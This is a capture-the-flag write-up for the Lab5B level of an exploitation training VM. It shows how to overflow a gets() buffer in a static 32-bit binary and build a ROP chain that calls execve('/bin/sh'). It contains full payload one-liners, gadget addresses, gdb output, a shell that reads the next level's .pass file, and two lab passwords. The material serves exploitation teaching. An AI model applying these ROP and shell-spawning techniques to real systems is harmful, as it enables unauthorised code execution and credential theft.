Lab5B Write-up (Medium)
First, log into the Lab05 as lab5B (lab5B:s0m3tim3s_r3t2libC_1s_3n0ugh
) and go to the challenges folder:
$ ssh lab5B@<VM_IP>
$ cd /levels/lab05/
Then, let’s try to execute the program:
lab5B@warzone:/levels/lab05$ ./lab5B
Insert ROP chain here:
PLOP!
Like in the previous level, we need to write a ROP chain to exploit this binary.
Source Code Analysis
Let’s check the source code:
#include <stdlib.h>
#include <stdio.h>
/* gcc -fno-stack-protector --static -o lab5B lab5B.c */
int main()
{
char buffer[128] = {0};
printf("Insert ROP chain here:\n");
gets(buffer);
return EXIT_SUCCESS;
}
This time the lbc is not included in the binary, but we can use other ways to get code execution through ROP.
Dynamic Analysis
First, let’s do a bit of dynamic analysis in gdb
and see if we can take control of the EIP, then we’ll see if we can build a ROP chain. Here, we’ll create a pattern and send it as input to the binary.
$ gdb -q ./lab5B
Reading symbols from ./lab5B...(no debugging symbols found)...done.
gdb-peda$ pattern_create 180
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAA'
gdb-peda$ r < <(python -c "print('AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAA')")
Starting program: /levels/lab05/lab5B < <(python -c "print('AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAA')")
Insert ROP chain here:
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41415141 ('AQAA')
ECX: 0xfbad2088
EDX: 0x80ec4e0 --> 0x0
ESI: 0x0
EDI: 0x5241416d ('mAAR')
EBP: 0x416e4141 ('AAnA')
ESP: 0xbffff6d0 ("oAATAApAAUAAqAAVAArAAWAAsAA")
EIP: 0x41415341 ('ASAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41415341
[------------------------------------stack-------------------------------------]
0000| 0xbffff6d0 ("oAATAApAAUAAqAAVAArAAWAAsAA")
0004| 0xbffff6d4 ("AApAAUAAqAAVAArAAWAAsAA")
0008| 0xbffff6d8 ("AUAAqAAVAArAAWAAsAA")
0012| 0xbffff6dc ("qAAVAArAAWAAsAA")
0016| 0xbffff6e0 ("AArAAWAAsAA")
0020| 0xbffff6e4 ("AWAAsAA")
0024| 0xbffff6e8 --> 0x414173 ('sAA')
0028| 0xbffff6ec --> 0x80eb00c --> 0x8067b30 (<__stpcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41415341 in ?? ()
Nice, now let’s check wich part of the pattern is in EIP.
gdb-peda$ pattern_search
Registers contain pattern buffer:
EIP+0 found at offset: 149
EBX+0 found at offset: 137
EDI+0 found at offset: 141
EBP+0 found at offset: 13
Registers point to pattern buffer:
[ESP] --> offset 153 - size ~27
Pattern buffer found at:
0xb7ffb00a : offset 19 - size 161 (mapped)
0xbffff64a : offset 19 - size 161 ($sp + -0x86 [-34 dwords])
Reference to pattern buffer not found in memory
It seems that we need to write 149 bytes before overwriting the EIP.
gdb-peda$ r < <(python -c "print('A' * 149 + 'BBBB' + 27 * 'C')")
Starting program: /levels/lab05/lab5B < <(python -c "print('A' * 149 + 'BBBB' + 27 * 'C')")
Insert ROP chain here:
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0xfbad2088
EDX: 0x80ec4e0 --> 0x0
ESI: 0x0
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6d0 ("AAAAABBBB", 'C' <repeats 27 times>)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbffff6d0 ("AAAAABBBB", 'C' <repeats 27 times>)
0004| 0xbffff6d4 ("ABBBB", 'C' <repeats 27 times>)
0008| 0xbffff6d8 ("B", 'C' <repeats 27 times>)
0012| 0xbffff6dc ('C' <repeats 24 times>)
0016| 0xbffff6e0 ('C' <repeats 20 times>)
0020| 0xbffff6e4 ('C' <repeats 16 times>)
0024| 0xbffff6e8 ('C' <repeats 12 times>)
0028| 0xbffff6ec ("CCCCCCCC")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
Maybe not… Let’s check the stack to see where our problem is.
gdb-peda$ x/16wx $esp
0xbffff6d0: 0x41414141 0x42424241 0x43434342 0x43434343
0xbffff6e0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff6f0: 0x43434343 0x62954500 0x9458d499 0x00000000
0xbffff700: 0x00000000 0x00000000 0x00000000 0x00000000
We just wrote too many bytes, we are off by 9 bytes. Let’s fix this.
gdb-peda$ r < <(python -c "print('A' * 140 + 'BBBB' + 27 * 'C')")
Starting program: /levels/lab05/lab5B < <(python -c "print('A' * 140 + 'BBBB' + 27 * 'C')")
Insert ROP chain here:
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0xfbad2088
EDX: 0x80ec4e0 --> 0x0
ESI: 0x0
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6d0 ('C' <repeats 27 times>)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff6d0 ('C' <repeats 27 times>)
0004| 0xbffff6d4 ('C' <repeats 23 times>)
0008| 0xbffff6d8 ('C' <repeats 19 times>)
0012| 0xbffff6dc ('C' <repeats 15 times>)
0016| 0xbffff6e0 ('C' <repeats 11 times>)
0020| 0xbffff6e4 ("CCCCCCC")
0024| 0xbffff6e8 --> 0x434343 ('CCC')
0028| 0xbffff6ec --> 0x80eb00c --> 0x8067b30 (<__stpcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
Ok, fixed.
ROP Chain
Now, we need to create our ROP chain. Basically, we can do something like this execve("/bin/sh/", 0, 0);
using the syscall 11 (or 0xb
in hexadecimal). It could look like this, but it will depend on the gadgets we will find in the executable:
xor eax, eax
xor ecx, ecx
xor ebx, ebx
mov eax, 0x0b
mov ebx, <ptr to "/bin/sh">
int 0x80
Sadly, we don’t have any reference to “/bin/bash” or “/bib/sh” in the binary.
$ gdb -q ./lab5B
Reading symbols from ./lab5B...(no debugging symbols found)...done.
gdb-peda$ searchmem "/bin/sh"
Searching for '/bin/sh' in: None ranges
Not found
gdb-peda$ searchmem "/bin/bash"
Searching for '/bin/bash' in: None ranges
Not found
But we can put it on the stack ourselves.
gdb-peda$ r < <(python -c "print(140 * 'A' + 'BBBB' + '/bin/sh')")
Starting program: /levels/lab05/lab5B < <(python -c "print(140 * 'A' + 'BBBB' + '/bin/sh')")
Insert ROP chain here:
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0xfbad2088
EDX: 0x80ec4e0 --> 0x0
ESI: 0x0
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6d0 ("/bin/sh")
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff6d0 ("/bin/sh")
0004| 0xbffff6d4 --> 0x68732f ('/sh')
0008| 0xbffff6d8 --> 0xbffff75c --> 0xbffff89c ("XDG_SESSION_ID=15")
0012| 0xbffff6dc --> 0x0
0016| 0xbffff6e0 --> 0x0
0020| 0xbffff6e4 --> 0x80481a8 (<_init>: push ebx)
0024| 0xbffff6e8 --> 0x0
0028| 0xbffff6ec --> 0x80eb00c --> 0x8067b30 (<__stpcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
Nice, “/bin/sh” is now on the stack. Now, using ropgadget
we can start looking for interesting gadget. After a few try, I came up with the following ROP chain
0x080bbf26 ; pop eax ; ret
0x0000000b ; EAX = 0x0b (syscall for execve())
0x080e55ad ; pop ecx ; ret
0x00000000 ; ECX = 0
0x080481c9 : pop ebx ; ret
0xbffff6e8 ; PTR to "/bin/sh" in EBX
0x08049401 ; int 0x80
If we set a breakpoint on the ret
instruction in the main() function, we can see our ROP chain on the stack.
gdb-peda$ break *main+69
Breakpoint 1 at 0x8048e89
gdb-peda$ r < <(python -c "print(140 * 'A' + '\x26\xbf\x0b\x08' + '\x0b\x00\x00\x00' + '\xad\x55\x0e\x08' + '\x00\x00\x00\x00' + '\xc9\x81\x04\x08' + '\xe8\xf6\xff\xbf' + '\x01\x94\x04\x08' + '/bin/sh')")
Starting program: /levels/lab05/lab5B < <(python -c "print(140 * 'A' + '\x26\xbf\x0b\x08' + '\x0b\x00\x00\x00' + '\xad\x55\x0e\x08' + '\x00\x00\x00\x00' + '\xc9\x81\x04\x08' + '\xe8\xf6\xff\xbf' + '\x01\x94\x04\x08' + '/bin/sh')")
Insert ROP chain here:
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0xfbad2088
EDX: 0x80ec4e0 --> 0x0
ESI: 0x0
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6cc --> 0x80bbf26 (<_Unwind_GetDataRelBase+6>: pop eax)
EIP: 0x8048e89 (<main+69>: ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048e86 <main+66>: pop ebx
0x8048e87 <main+67>: pop edi
0x8048e88 <main+68>: pop ebp
=> 0x8048e89 <main+69>: ret
0x8048e8a: xchg ax,ax
0x8048e8c: xchg ax,ax
0x8048e8e: xchg ax,ax
0x8048e90 <__libc_start_main>: push ebp
[------------------------------------stack-------------------------------------]
0000| 0xbffff6cc --> 0x80bbf26 (<_Unwind_GetDataRelBase+6>: pop eax)
0004| 0xbffff6d0 --> 0xb ('\x0b')
0008| 0xbffff6d4 --> 0x80e55ad --> 0x40ec359
0012| 0xbffff6d8 --> 0x0
0016| 0xbffff6dc --> 0x80481c9 (<_init+33>: pop ebx)
0020| 0xbffff6e0 --> 0xbffff6e8 ("/bin/sh")
0024| 0xbffff6e4 --> 0x8049401 (<__libc_setup_tls+321>: int 0x80)
0028| 0xbffff6e8 ("/bin/sh")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048e89 in main ()
And if we continue the execution, we should get a shell.
gdb-peda$ conti
Continuing.
process 6298 is executing new program: /bin/dash
Nice!
Solution
As we are using a stack address pointing to “/bin/sh”, like in the previous levels, we will need to adjust the address. Here, it seems that removing 40 bytes from 0xbffff6e8
did the trick.
lab5B@warzone:/levels/lab05$ (python -c "print(140 * 'A' + '\x26\xbf\x0b\x08' + '\x0b\x00\x00\x00' + '\xad\x55\x0e\x08' + '\x00\x00\x00\x00' + '\xc9\x81\x04\x08' + '\xa8\xf6\xff\xbf' + '\x01\x94\x04\x08' + '/bin/sh')"; cat -) | ./lab5B
Insert ROP chain here:
whoami
lab5A
cat /home/lab5A/.pass
th4ts_th3_r0p_i_lik3_2_s33
Awesome! You can go to the last challenge.